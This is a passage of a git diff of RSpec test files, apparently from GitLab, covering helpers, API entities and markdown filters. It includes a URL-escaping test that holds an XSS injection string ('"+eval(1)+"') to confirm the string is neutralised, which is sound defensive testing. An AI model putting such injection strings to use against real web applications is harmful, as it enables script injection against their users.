+++ b/spec/helpers/search_helper_spec.rb
@@ -284,8 +284,24 @@ RSpec.describe SearchHelper, feature_category: :global_search do
allow(self).to receive(:current_user).and_return(admin)
end
- it "includes admin sections" do
- expect(search_autocomplete_opts("admin").size).to eq(1)
+ context 'when admin mode setting is disabled', :do_not_mock_admin_mode_setting do
+ it 'includes admin sections' do
+ expect(search_autocomplete_opts('admin').size).to eq(1)
+ end
+ end
+
+ context 'when admin mode setting is enabled' do
+ context 'when in admin mode', :enable_admin_mode do
+ it 'includes admin sections' do
+ expect(search_autocomplete_opts('admin').size).to eq(1)
+ end
+ end
+
+ context 'when not in admin mode' do
+ it 'does not include admin sections' do
+ expect(search_autocomplete_opts('admin').size).to eq(0)
+ end
+ end
end
end
end
diff --git a/spec/helpers/sidebars_helper_spec.rb b/spec/helpers/sidebars_helper_spec.rb
index 6db955f3637..299e4cb0133 100644
--- a/spec/helpers/sidebars_helper_spec.rb
+++ b/spec/helpers/sidebars_helper_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe SidebarsHelper do
+ include Devise::Test::ControllerHelpers
+
describe '#sidebar_tracking_attributes_by_object' do
subject { helper.sidebar_tracking_attributes_by_object(object) }
@@ -42,4 +44,26 @@ RSpec.describe SidebarsHelper do
end
end
end
+
+ describe '#super_sidebar_context' do
+ let(:user) { build(:user) }
+
+ subject { helper.super_sidebar_context(user) }
+
+ it 'returns sidebar values from user', :use_clean_rails_memory_store_caching do
+ Rails.cache.write(['users', user.id, 'assigned_open_issues_count'], 1)
+ Rails.cache.write(['users', user.id, 'assigned_open_merge_requests_count'], 2)
+ Rails.cache.write(['users', user.id, 'todos_pending_count'], 3)
+
+ expect(subject).to eq({
+ name: user.name,
+ username: user.username,
+ avatar_url: user.avatar_url,
+ assigned_open_issues_count: 1,
+ assigned_open_merge_requests_count: 2,
+ todos_pending_count: 3,
+ issues_dashboard_path: issues_dashboard_path(assignee_username: user.username)
+ })
+ end
+ end
end
diff --git a/spec/helpers/timeboxes_helper_spec.rb b/spec/helpers/timeboxes_helper_spec.rb
index f9fb40a616b..f1f8683825e 100644
--- a/spec/helpers/timeboxes_helper_spec.rb
+++ b/spec/helpers/timeboxes_helper_spec.rb
@@ -2,8 +2,16 @@
require 'spec_helper'
-RSpec.describe TimeboxesHelper do
- describe "#timebox_date_range" do
+RSpec.describe TimeboxesHelper, feature_category: :team_planning do
+ using RSpec::Parameterized::TableSyntax
+
+ let_it_be(:milestone_expired) { build(:milestone, due_date: Date.today.prev_month) }
+ let_it_be(:milestone_closed) { build(:milestone, :closed) }
+ let_it_be(:milestone_upcoming) { build(:milestone, start_date: Date.today.next_month) }
+ let_it_be(:milestone_open) { build(:milestone) }
+ let_it_be(:milestone_closed_and_expired) { build(:milestone, :closed, due_date: Date.today.prev_month) }
+
+ describe '#timebox_date_range' do
let(:yesterday) { Date.yesterday }
let(:tomorrow) { yesterday + 2 }
let(:format) { '%b %-d, %Y' }
@@ -24,11 +32,11 @@ RSpec.describe TimeboxesHelper do
end
end
- describe "#group_milestone_route" do
+ describe '#group_milestone_route' do
let(:group) { build_stubbed(:group) }
- let(:subgroup) { build_stubbed(:group, parent: group, name: "Test Subgrp") }
+ let(:subgroup) { build_stubbed(:group, parent: group, name: 'Test Subgrp') }
- context "when in subgroup" do
+ context 'when in subgroup' do
let(:milestone) { build_stubbed(:group_milestone, group: subgroup) }
it 'generates correct url despite assigned @group' do
@@ -39,22 +47,53 @@ RSpec.describe TimeboxesHelper do
end
end
- describe "#recent_releases_with_counts" do
- let_it_be(:milestone) { create(:milestone) }
- let_it_be(:project) { milestone.project }
+ describe '#recent_releases_with_counts' do
+ let_it_be(:project) { milestone_open.project }
let_it_be(:user) { create(:user) }
- subject { helper.recent_releases_with_counts(milestone, user) }
+ subject { helper.recent_releases_with_counts(milestone_open, user) }
before do
project.add_developer(user)
end
- it "returns releases with counts" do
- _old_releases = create_list(:release, 2, project: project, milestones: [milestone])
- recent_public_releases = create_list(:release, 3, project: project, milestones: [milestone], released_at: '2022-01-01T18:00:00Z')
+ it 'returns releases with counts' do
+ _old_releases = create_list(:release, 2, project: project, milestones: [milestone_open])
+ recent_public_releases = create_list(:release, 3, project: project, milestones: [milestone_open], released_at: '2022-01-01T18:00:00Z')
is_expected.to match([match_array(recent_public_releases), 5, 2])
end
end
+
+ describe '#milestone_status_string' do
+ where(:milestone, :status) do
+ lazy { milestone_expired } | 'Expired'
+ lazy { milestone_closed } | 'Closed'
+ lazy { milestone_closed_and_expired } | 'Closed'
+ lazy { milestone_upcoming } | 'Upcoming'
+ lazy { milestone_open } | 'Open'
+ end
+
+ with_them do
+ it 'returns status string' do
+ expect(helper.milestone_status_string(milestone)).to eq(status)
+ end
+ end
+ end
+
+ describe '#milestone_badge_variant' do
+ where(:milestone, :variant) do
+ lazy { milestone_expired } | :warning
+ lazy { milestone_closed } | :danger
+ lazy { milestone_closed_and_expired } | :danger
+ lazy { milestone_upcoming } | :neutral
+ lazy { milestone_open } | :success
+ end
+
+ with_them do
+ it 'returns badge variant' do
+ expect(helper.milestone_badge_variant(milestone)).to eq(variant)
+ end
+ end
+ end
end
diff --git a/spec/helpers/todos_helper_spec.rb b/spec/helpers/todos_helper_spec.rb
index ca334a04fe9..fcdb41eb4af 100644
--- a/spec/helpers/todos_helper_spec.rb
+++ b/spec/helpers/todos_helper_spec.rb
@@ -43,6 +43,10 @@ RSpec.describe TodosHelper do
create(:todo, target: group)
end
+ let_it_be(:project_access_request_todo) do
+ create(:todo, target: project, action: Todo::MEMBER_ACCESS_REQUESTED)
+ end
+
describe '#todos_count_format' do
it 'shows fuzzy count for 100 or more items' do
expect(helper.todos_count_format(100)).to eq '99+'
@@ -172,7 +176,17 @@ RSpec.describe TodosHelper do
it 'responds with access requests tab' do
path = helper.todo_target_path(group_access_request_todo)
- access_request_path = Gitlab::Routing.url_helpers.group_group_members_url(group, tab: 'access_requests')
+ access_request_path = Gitlab::Routing.url_helpers.group_group_members_path(group, tab: 'access_requests')
+
+ expect(path).to eq(access_request_path)
+ end
+ end
+
+ context 'when a user requests access to project' do
+ it 'responds with access requests tab' do
+ path = helper.todo_target_path(project_access_request_todo)
+
+ access_request_path = Gitlab::Routing.url_helpers.project_project_members_path(project, tab: 'access_requests')
expect(path).to eq(access_request_path)
end
@@ -374,7 +388,7 @@ RSpec.describe TodosHelper do
end
context 'member access requested' do
- context 'when source is group' do
+ context 'when target is group' do
it 'returns group access message' do
group_todo.action = Todo::MEMBER_ACCESS_REQUESTED
@@ -383,6 +397,14 @@ RSpec.describe TodosHelper do
)
end
end
+
+ context 'when target is project' do
+ it 'returns project access message' do
+ expect(helper.todo_action_name(project_access_request_todo)).to eq(
+ format(s_("Todos|has requested access to project %{which}"), which: _(project.name))
+ )
+ end
+ end
end
end
diff --git a/spec/helpers/url_helper_spec.rb b/spec/helpers/url_helper_spec.rb
new file mode 100644
index 00000000000..7955a41b63a
--- /dev/null
+++ b/spec/helpers/url_helper_spec.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe UrlHelper, feature_category: :integrations do
+ describe '#escaped_url' do
+ it 'escapes url' do
+ expect(helper.escaped_url('https://example.com?param=test value')).to eq('https://example.com?param=test%20value')
+ end
+
+ it 'escapes XSS injection' do
+ expect(helper.escaped_url('https://example.com?injected_here"+eval(1)+"'))
+ .to eq('https://example.com?injected_here%22+eval(1)+%22')
+ end
+
+ it 'returns nil if url is nil' do
+ expect(helper.escaped_url(nil)).to be_nil
+ end
+
+ it 'returns nil when url is invalid' do
+ expect(helper.escaped_url('https://?&*^invalid-url'))
+ .to be_nil
+ end
+ end
+end
diff --git a/spec/helpers/users/callouts_helper_spec.rb b/spec/helpers/users/callouts_helper_spec.rb
index 170ae098a2f..a43a73edd53 100644
--- a/spec/helpers/users/callouts_helper_spec.rb
+++ b/spec/helpers/users/callouts_helper_spec.rb
@@ -92,81 +92,32 @@ RSpec.describe Users::CalloutsHelper do
end
end
- describe '.show_registration_enabled_user_callout?' do
+ describe '.show_registration_enabled_user_callout?', :do_not_mock_admin_mode_setting do
let_it_be(:admin) { create(:user, :admin) }
subject { helper.show_registration_enabled_user_callout? }
- context 'when on gitlab.com' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(true)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- allow(helper.controller).to receive(:controller_path).and_return("admin/users")
- end
-
- it { is_expected.to be false }
- end
-
- context 'when `current_user` is not an admin' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(user)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- allow(helper.controller).to receive(:controller_path).and_return("admin/users")
- end
-
- it { is_expected.to be false }
- end
-
- context 'when signup is disabled' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: false)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- allow(helper.controller).to receive(:controller_path).and_return("admin/users")
- end
+ using RSpec::Parameterized::TableSyntax
- it { is_expected.to be false }
- end
-
- context 'when user has dismissed callout' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { true }
- allow(helper.controller).to receive(:controller_path).and_return("admin/users")
- end
-
- it { is_expected.to be false }
+ where(:gitlab_com, :current_user, :signup_enabled, :user_dismissed, :controller_path, :expected_result) do
+ false | ref(:admin) | true | false | 'admin/users' | true
+ true | ref(:admin) | true | false | 'admin/users' | false
+ false | ref(:user) | true | false | 'admin/users' | false
+ false | ref(:admin) | false | false | 'admin/users' | false
+ false | ref(:admin) | true | true | 'admin/users' | false
+ false | ref(:admin) | true | false | 'projects/issues' | false
end
- context 'when controller path is not allowed' do
+ with_them do
before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- allow(helper.controller).to receive(:controller_path).and_return("projects/issues")
+ allow(::Gitlab).to receive(:com?).and_return(gitlab_com)
+ allow(helper).to receive(:current_user).and_return(current_user)
+ stub_application_setting(signup_enabled: signup_enabled)
+ allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { user_dismissed }
+ allow(helper.controller).to receive(:controller_path).and_return(controller_path)
end
- it { is_expected.to be false }
- end
-
- context 'when not gitlab.com, `current_user` is an admin, signup is enabled, user has not dismissed callout, and controller path is allowed' do
- before do
- allow(::Gitlab).to receive(:com?).and_return(false)
- allow(helper).to receive(:current_user).and_return(admin)
- stub_application_setting(signup_enabled: true)
- allow(helper).to receive(:user_dismissed?).with(described_class::REGISTRATION_ENABLED_CALLOUT) { false }
- allow(helper.controller).to receive(:controller_path).and_return("admin/users")
- end
-
- it { is_expected.to be true }
+ it { is_expected.to be expected_result }
end
end
@@ -190,7 +141,7 @@ RSpec.describe Users::CalloutsHelper do
end
end
- describe '.show_security_newsletter_user_callout?' do
+ describe '.show_security_newsletter_user_callout?', :do_not_mock_admin_mode_setting do
let_it_be(:admin) { create(:user, :admin) }
subject { helper.show_security_newsletter_user_callout? }
diff --git a/spec/helpers/version_check_helper_spec.rb b/spec/helpers/version_check_helper_spec.rb
index 2bb85e7b6b8..c76eb08820a 100644
--- a/spec/helpers/version_check_helper_spec.rb
+++ b/spec/helpers/version_check_helper_spec.rb
@@ -49,19 +49,26 @@ RSpec.describe VersionCheckHelper do
describe '#show_security_patch_upgrade_alert?' do
describe 'return conditions' do
- where(:show_version_check, :gitlab_version_check, :result) do
+ where(:feature_enabled, :show_version_check, :gitlab_version_check, :result) do
[
- [false, nil, false],
- [false, { "severity" => "success" }, false],
- [false, { "severity" => "danger" }, false],
- [true, nil, false],
- [true, { "severity" => "success" }, false],
- [true, { "severity" => "danger" }, true]
+ [false, false, nil, false],
+ [false, false, { "severity" => "success" }, false],
+ [false, false, { "severity" => "danger" }, false],
+ [false, true, nil, false],
+ [false, true, { "severity" => "success" }, false],
+ [false, true, { "severity" => "danger" }, false],
+ [true, false, nil, false],
+ [true, false, { "severity" => "success" }, false],
+ [true, false, { "severity" => "danger" }, false],
+ [true, true, nil, false],
+ [true, true, { "severity" => "success" }, false],
+ [true, true, { "severity" => "danger" }, true]
]
end
with_them do
before do
+ stub_feature_flags(critical_security_alert: feature_enabled)
allow(helper).to receive(:show_version_check?).and_return(show_version_check)
allow(helper).to receive(:gitlab_version_check).and_return(gitlab_version_check)
end
diff --git a/spec/lib/api/entities/basic_project_details_spec.rb b/spec/lib/api/entities/basic_project_details_spec.rb
index 8419eb0a932..425252ea315 100644
--- a/spec/lib/api/entities/basic_project_details_spec.rb
+++ b/spec/lib/api/entities/basic_project_details_spec.rb
@@ -2,14 +2,16 @@
require 'spec_helper'
-RSpec.describe API::Entities::BasicProjectDetails do
- let_it_be(:project) { create(:project) }
-
- let(:current_user) { project.first_owner }
+RSpec.describe API::Entities::BasicProjectDetails, feature_category: :api do
+ let_it_be(:project_with_repository_restriction) { create(:project, :public, :repository_private) }
+ let(:member_user) { project_with_repository_restriction.first_owner }
subject(:output) { described_class.new(project, current_user: current_user).as_json }
describe '#default_branch' do
+ let(:current_user) { member_user }
+ let(:project) { project_with_repository_restriction }
+
it 'delegates to Project#default_branch_or_main' do
expect(project).to receive(:default_branch_or_main).twice.and_call_original
@@ -20,7 +22,42 @@ RSpec.describe API::Entities::BasicProjectDetails do
let(:current_user) { nil }
it 'is not included' do
- expect(output.keys).not_to include(:default_branch)
+ expect(output).not_to include(:default_branch)
+ end
+ end
+ end
+
+ describe '#readme_url #forks_count' do
+ using RSpec::Parameterized::TableSyntax
+ let_it_be(:non_member_user) { create(:user) } # Creates a fresh user that is why it is not the member of the project
+
+ context 'public project with repository is accessible by the user' do
+ let_it_be(:project_without_restriction) { create(:project, :public) }
+
+ where(:current_user, :project) do
+ ref(:member_user) | ref(:project_without_restriction)
+ ref(:non_member_user) | ref(:project_without_restriction)
+ nil | ref(:project_without_restriction)
+ ref(:member_user) | ref(:project_with_repository_restriction)
+ end
+
+ with_them do
+ it 'exposes readme_url and forks_count' do
+ expect(output).to include readme_url: project.readme_url, forks_count: project.forks_count
+ end
+ end
+ end
+
+ context 'public project with repository is not accessible by the user' do
+ where(:current_user, :project) do
+ ref(:non_member_user) | ref(:project_with_repository_restriction)
+ nil | ref(:project_with_repository_restriction)
+ end
+
+ with_them do
+ it 'does not expose readme_url and forks_count' do
+ expect(output).not_to include :readme_url, :forks_count
+ end
end
end
end
diff --git a/spec/lib/api/entities/bulk_imports/entity_spec.rb b/spec/lib/api/entities/bulk_imports/entity_spec.rb
index 4de85862ab9..ba8a2ddffcb 100644
--- a/spec/lib/api/entities/bulk_imports/entity_spec.rb
+++ b/spec/lib/api/entities/bulk_imports/entity_spec.rb
@@ -21,7 +21,8 @@ RSpec.describe API::Entities::BulkImports::Entity do
:project_id,
:created_at,
:updated_at,
- :failures
+ :failures,
+ :migrate_projects
)
end
end
diff --git a/spec/lib/api/entities/ml/mlflow/run_info_spec.rb b/spec/lib/api/entities/ml/mlflow/run_info_spec.rb
index d5a37f53e21..db8f106c9fe 100644
--- a/spec/lib/api/entities/ml/mlflow/run_info_spec.rb
+++ b/spec/lib/api/entities/ml/mlflow/run_info_spec.rb
@@ -33,6 +33,20 @@ RSpec.describe API::Entities::Ml::Mlflow::RunInfo do
end
end
+ describe 'run_name' do
+ context 'when nil' do
+ it { is_expected.not_to have_key(:run_name) }
+ end
+
+ context 'when not nil' do
+ before do
+ allow(candidate).to receive(:name).and_return('hello')
+ end
+
+ it { expect(subject[:run_name]).to eq('hello') }
+ end
+ end
+
describe 'experiment_id' do
it 'is the experiment iid as string' do
expect(subject[:experiment_id]).to eq(candidate.experiment.iid.to_s)
diff --git a/spec/lib/api/helpers/members_helpers_spec.rb b/spec/lib/api/helpers/members_helpers_spec.rb
new file mode 100644
index 00000000000..987d5ba9f6c
--- /dev/null
+++ b/spec/lib/api/helpers/members_helpers_spec.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe API::Helpers::MembersHelpers, feature_category: :subgroups do
+ let(:helper) do
+ Class.new.include(described_class).new
+ end
+
+ describe '#source_members' do
+ subject(:source_members) { helper.source_members(source) }
+
+ shared_examples_for 'returns all direct members' do
+ specify do
+ expect(source_members).to match_array(direct_members)
+ end
+ end
+
+ context 'for a group' do
+ let_it_be(:source) { create(:group) }
+ let_it_be(:direct_members) { create_list(:group_member, 2, group: source) }
+
+ it_behaves_like 'returns all direct members'
+ it_behaves_like 'query with source filters'
+
+ context 'when project_members_index_by_project_namespace feature flag is disabled' do
+ before do
+ stub_feature_flags(project_members_index_by_project_namespace: false)
+ end
+
+ it_behaves_like 'returns all direct members'
+ it_behaves_like 'query with source filters'
+ end
+ end
+
+ context 'for a project' do
+ let_it_be(:source) { create(:project, group: create(:group)) }
+ let_it_be(:direct_members) { create_list(:project_member, 2, project: source) }
+
+ it_behaves_like 'returns all direct members'
+ it_behaves_like 'query without source filters'
+
+ context 'when project_members_index_by_project_namespace feature flag is disabled' do
+ before do
+ stub_feature_flags(project_members_index_by_project_namespace: false)
+ end
+
+ it_behaves_like 'returns all direct members'
+ it_behaves_like 'query with source filters'
+ end
+ end
+ end
+end
diff --git a/spec/lib/api/helpers/packages_helpers_spec.rb b/spec/lib/api/helpers/packages_helpers_spec.rb
index a3b21059334..de9d139a7b6 100644
--- a/spec/lib/api/helpers/packages_helpers_spec.rb
+++ b/spec/lib/api/helpers/packages_helpers_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::Helpers::PackagesHelpers do
+RSpec.describe API::Helpers::PackagesHelpers, feature_category: :package_registry do
let_it_be(:helper) { Class.new.include(API::Helpers).include(described_class).new }
let_it_be(:project) { create(:project) }
let_it_be(:group) { create(:group) }
@@ -17,6 +17,31 @@ RSpec.describe API::Helpers::PackagesHelpers do
expect(subject).to eq nil
end
+
+ context 'with an allowed required permission' do
+ subject { helper.authorize_packages_access!(project, :read_group) }
+
+ it 'authorizes packages access' do
+ expect(helper).to receive(:require_packages_enabled!)
+ expect(helper).not_to receive(:authorize_read_package!)
+ expect(helper).to receive(:authorize!).with(:read_group, project)
+
+ expect(subject).to eq nil
+ end
+ end
+
+ context 'with a not allowed permission' do
+ subject { helper.authorize_packages_access!(project, :read_permission) }
+
+ it 'rejects packages access' do
+ expect(helper).to receive(:require_packages_enabled!)
+ expect(helper).not_to receive(:authorize_read_package!)
+ expect(helper).not_to receive(:authorize!).with(:test_permission, project)
+ expect(helper).to receive(:forbidden!)
+
+ expect(subject).to eq nil
+ end
+ end
end
describe 'authorize_read_package!' do
@@ -32,7 +57,7 @@ RSpec.describe API::Helpers::PackagesHelpers do
it 'calls authorize! with correct subject' do
expect(helper).to receive(:authorize!).with(:read_package, have_attributes(id: subject.id, class: expected_class))
- expect(helper.send('authorize_read_package!', subject)).to eq nil
+ expect(helper.send(:authorize_read_package!, subject)).to eq nil
end
end
end
diff --git a/spec/lib/api/helpers/pagination_strategies_spec.rb b/spec/lib/api/helpers/pagination_strategies_spec.rb
index 16cc10182b0..f6e8e3cc756 100644
--- a/spec/lib/api/helpers/pagination_strategies_spec.rb
+++ b/spec/lib/api/helpers/pagination_strategies_spec.rb
@@ -43,6 +43,14 @@ RSpec.describe API::Helpers::PaginationStrategies do
expect(result).to eq(return_value)
end
+
+ context "with paginator_params" do
+ it 'correctly passes multiple parameters' do
+ expect(paginator).to receive(:paginate).with(relation, parameter_one: true, parameter_two: 'two')
+
+ subject.paginate_with_strategies(relation, nil, paginator_params: { parameter_one: true, parameter_two: 'two' })
+ end
+ end
end
describe '#paginator' do
diff --git a/spec/lib/api/helpers/rate_limiter_spec.rb b/spec/lib/api/helpers/rate_limiter_spec.rb
index 3640c7e30e7..531140a32a3 100644
--- a/spec/lib/api/helpers/rate_limiter_spec.rb
+++ b/spec/lib/api/helpers/rate_limiter_spec.rb
@@ -31,8 +31,8 @@ RSpec.describe API::Helpers::RateLimiter do
end
describe '#check_rate_limit!' do
- it 'calls ApplicationRateLimiter#throttled? with the right arguments' do
- expect(::Gitlab::ApplicationRateLimiter).to receive(:throttled?).with(key, scope: scope).and_return(false)
+ it 'calls ApplicationRateLimiter#throttled_request? with the right arguments' do
+ expect(::Gitlab::ApplicationRateLimiter).to receive(:throttled_request?).with(request, user, key, scope: scope).and_return(false)
expect(subject).not_to receive(:render_api_error!)
subject.check_rate_limit!(key, scope: scope)
diff --git a/spec/lib/api/helpers_spec.rb b/spec/lib/api/helpers_spec.rb
index d24a3bd13c0..a0f5ee1ea95 100644
--- a/spec/lib/api/helpers_spec.rb
+++ b/spec/lib/api/helpers_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::Helpers do
+RSpec.describe API::Helpers, feature_category: :not_owned do
using RSpec::Parameterized::TableSyntax
subject(:helper) { Class.new.include(described_class).new }
@@ -11,7 +11,7 @@ RSpec.describe API::Helpers do
include Rack::Test::Methods
let(:user) { build(:user, id: 42) }
-
+ let(:request) { instance_double(Rack::Request) }
let(:helper) do
Class.new(Grape::API::Instance) do
helpers API::APIGuard::HelperMethods
@@ -797,12 +797,13 @@ RSpec.describe API::Helpers do
describe '#present_artifacts_file!' do
context 'with object storage' do
let(:artifact) { create(:ci_job_artifact, :zip, :remote_store) }
+ let(:is_head_request) { false }
subject { helper.present_artifacts_file!(artifact.file) }
before do
allow(helper).to receive(:env).and_return({})
-
+ allow(helper).to receive(:request).and_return(instance_double(Rack::Request, head?: is_head_request))
stub_artifacts_object_storage(enabled: true)
end
@@ -814,6 +815,18 @@ RSpec.describe API::Helpers do
subject
end
+
+ context 'requested with HEAD' do
+ let(:is_head_request) { true }
+
+ it 'redirects to a CDN-fronted URL' do
+ expect(helper).to receive(:redirect)
+ expect(helper).to receive(:signed_head_url).and_call_original
+ expect(Gitlab::ApplicationContext).to receive(:push).with(artifact: artifact.file.model).and_call_original
+
+ subject
+ end
+ end
end
end
diff --git a/spec/lib/atlassian/jira_connect/jwt/asymmetric_spec.rb b/spec/lib/atlassian/jira_connect/jwt/asymmetric_spec.rb
index 89c85489aea..c14193660e9 100644
--- a/spec/lib/atlassian/jira_connect/jwt/asymmetric_spec.rb
+++ b/spec/lib/atlassian/jira_connect/jwt/asymmetric_spec.rb
@@ -90,7 +90,7 @@ RSpec.describe Atlassian::JiraConnect::Jwt::Asymmetric, feature_category: :integ
it { is_expected.not_to be_valid }
end
- context 'with jira_connect_proxy_url setting' do
+ context 'with jira_connect_proxy_url setting', :aggregate_failures do
let(:stub_asymmetric_jwt_cdn) { 'https://example.com/-/jira_connect/public_keys' }
let(:jira_connect_proxy_url_setting) { 'https://example.com' }
@@ -101,6 +101,19 @@ RSpec.describe Atlassian::JiraConnect::Jwt::Asymmetric, feature_category: :integ
expect(WebMock).to have_requested(:get, "https://example.com/-/jira_connect/public_keys/#{public_key_id}")
end
+
+ context 'when the setting is an empty string', :aggregate_failures do
+ let(:jira_connect_proxy_url_setting) { '' }
+ let(:stub_asymmetric_jwt_cdn) { 'https://connect-install-keys.atlassian.com' }
+
+ it 'requests the default CDN' do
+ expect(JWT).to receive(:decode).twice.and_call_original
+
+ expect(asymmetric_jwt).to be_valid
+
+ expect(WebMock).to have_requested(:get, install_keys_url)
+ end
+ end
end
end
diff --git a/spec/lib/banzai/filter/inline_observability_filter_spec.rb b/spec/lib/banzai/filter/inline_observability_filter_spec.rb
index 341ada6d2b5..fb1ba46e76c 100644
--- a/spec/lib/banzai/filter/inline_observability_filter_spec.rb
+++ b/spec/lib/banzai/filter/inline_observability_filter_spec.rb
@@ -7,27 +7,49 @@ RSpec.describe Banzai::Filter::InlineObservabilityFilter do
let(:input) { %(<a href="#{url}">example</a>) }
let(:doc) { filter(input) }
+ let(:group) { create(:group) }
+ let(:user) { create(:user) }
- context 'when the document has an external link' do
- let(:url) { 'https://foo.com' }
+ describe '#filter?' do
+ context 'when the document has an external link' do
+ let(:url) { 'https://foo.com' }
- it 'leaves regular non-observability links unchanged' do
- expect(doc.to_s).to eq(input)
+ it 'leaves regular non-observability links unchanged' do
+ expect(doc.to_s).to eq(input)
+ end
end
- end
- context 'when the document contains an embeddable observability link' do
- let(:url) { 'https://observe.gitlab.com/12345' }
+ context 'when the document contains an embeddable observability link' do
+ let(:url) { 'https://observe.gitlab.com/12345' }
+
+ it 'leaves the original link unchanged' do
+ expect(doc.at_css('a').to_s).to eq(input)
+ end
+
+ it 'appends an observability charts placeholder' do
+ node = doc.at_css('.js-render-observability')
- it 'leaves the original link unchanged' do
- expect(doc.at_css('a').to_s).to eq(input)
+ expect(node).to be_present
+ expect(node.attribute('data-frame-url').to_s).to eq(url)
+ end
end
- it 'appends a observability charts placeholder' do
- node = doc.at_css('.js-render-observability')
+ context 'when feature flag is disabled' do
+ let(:url) { 'https://observe.gitlab.com/12345' }
+
+ before do
+ stub_feature_flags(observability_group_tab: false)
+ end
+
+ it 'leaves the original link unchanged' do
+ expect(doc.at_css('a').to_s).to eq(input)
+ end
+
+ it 'does not append an observability charts placeholder' do
+ node = doc.at_css('.js-render-observability')
- expect(node).to be_present
- expect(node.attribute('data-frame-url').to_s).to eq(url)
+ expect(node).not_to be_present
+ end
end
end
end
diff --git a/spec/lib/banzai/filter/math_filter_spec.rb b/spec/lib/banzai/filter/math_filter_spec.rb
index c5d2bcd5363..374983e40a1 100644
--- a/spec/lib/banzai/filter/math_filter_spec.rb
+++ b/spec/lib/banzai/filter/math_filter_spec.rb
@@ -2,14 +2,15 @@
require 'spec_helper'
-RSpec.describe Banzai::Filter::MathFilter do
+RSpec.describe Banzai::Filter::MathFilter, feature_category: :team_planning do
using RSpec::Parameterized::TableSyntax
include FilterSpecHelper
shared_examples 'inline math' do
it 'removes surrounding dollar signs and adds class code, math and js-render-math' do
- doc = filter(text)
- expected = result_template.gsub('<math>', '<code class="code math js-render-math" data-math-style="inline">')
+ doc = pipeline_filter(text)
+
+ expected = result_template.gsub('<math>', '<code data-math-style="inline" class="code math js-render-math">')
expected.gsub!('</math>', '</code>')
expect(doc.to_s).to eq expected
@@ -17,12 +18,12 @@ RSpec.describe Banzai::Filter::MathFilter do
end
shared_examples 'display math' do
- let_it_be(:template_prefix_with_pre) { '<pre class="code math js-render-math" data-math-style="display"><code>' }
- let_it_be(:template_prefix_with_code) { '<code class="code math js-render-math" data-math-style="display">' }
+ let_it_be(:template_prefix_with_pre) { '<pre lang="math" data-math-style="display" class="js-render-math"><code>' }
+ let_it_be(:template_prefix_with_code) { '<code data-math-style="display" class="code math js-render-math">' }
let(:use_pre_tags) { false }
it 'removes surrounding dollar signs and adds class code, math and js-render-math' do
- doc = filter(text)
+ doc = pipeline_filter(text)
template_prefix = use_pre_tags ? template_prefix_with_pre : template_prefix_with_code
template_suffix = "</code>#{'</pre>' if use_pre_tags}"
@@ -36,36 +37,38 @@ RSpec.describe Banzai::Filter::MathFilter do
describe 'inline math using $...$ syntax' do
context 'with valid syntax' do
where(:text, :result_template) do
- '$2+2$' | '<math>2+2</math>'
- '$22+1$ and $22 + a^2$' | '<math>22+1</math> and <math>22 + a^2</math>'
- '$22 and $2+2$' | '$22 and <math>2+2</math>'
- '$2+2$ $22 and flightjs/Flight$22 $2+2$' | '<math>2+2</math> $22 and flightjs/Flight$22 <math>2+2</math>'
- '$1/2$ &lt;b&gt;test&lt;/b&gt;' | '<math>1/2</math> &lt;b&gt;test&lt;/b&gt;'
- '$a!$' | '<math>a!</math>'
- '$x$' | '<math>x</math>'
+ '$2+2$' | '<p><math>2+2</math></p>'
+ '$22+1$ and $22 + a^2$' | '<p><math>22+1</math> and <math>22 + a^2</math></p>'
+ '$22 and $2+2$' | '<p>$22 and <math>2+2</math></p>'
+ '$2+2$ $22 and flightjs/Flight$22 $2+2$' | '<p><math>2+2</math> $22 and flightjs/Flight$22 <math>2+2</math></p>'
+ '$1/2$ &lt;b&gt;test&lt;/b&gt;' | '<p><math>1/2</math> &lt;b&gt;test&lt;/b&gt;</p>'
+ '$a!$' | '<p><math>a!</math></p>'
+ '$x$' | '<p><math>x</math></p>'
+ '$1+2\$$' | '<p><math>1+2\$</math></p>'
+ '$1+\$2$' | '<p><math>1+\$2</math></p>'
+ '$1+\%2$' | '<p><math>1+\%2</math></p>'
+ '$1+\#2$' | '<p><math>1+\#2</math></p>'
+ '$1+\&2$' | '<p><math>1+\&amp;2</math></p>'
+ '$1+\{2$' | '<p><math>1+\{2</math></p>'
+ '$1+\}2$' | '<p><math>1+\}2</math></p>'
+ '$1+\_2$' | '<p><math>1+\_2</math></p>'
end
with_them do
it_behaves_like 'inline math'
end
end
-
- it 'does not handle dollar literals properly' do
- doc = filter('$20+30\$$')
- expected = '<code class="code math js-render-math" data-math-style="inline">20+30\\</code>$'
-
- expect(doc.to_s).to eq expected
- end
end
describe 'inline math using $`...`$ syntax' do
context 'with valid syntax' do
where(:text, :result_template) do
- '$<code>2+2</code>$' | '<math>2+2</math>'
- '$<code>22+1</code>$ and $<code>22 + a^2</code>$' | '<math>22+1</math> and <math>22 + a^2</math>'
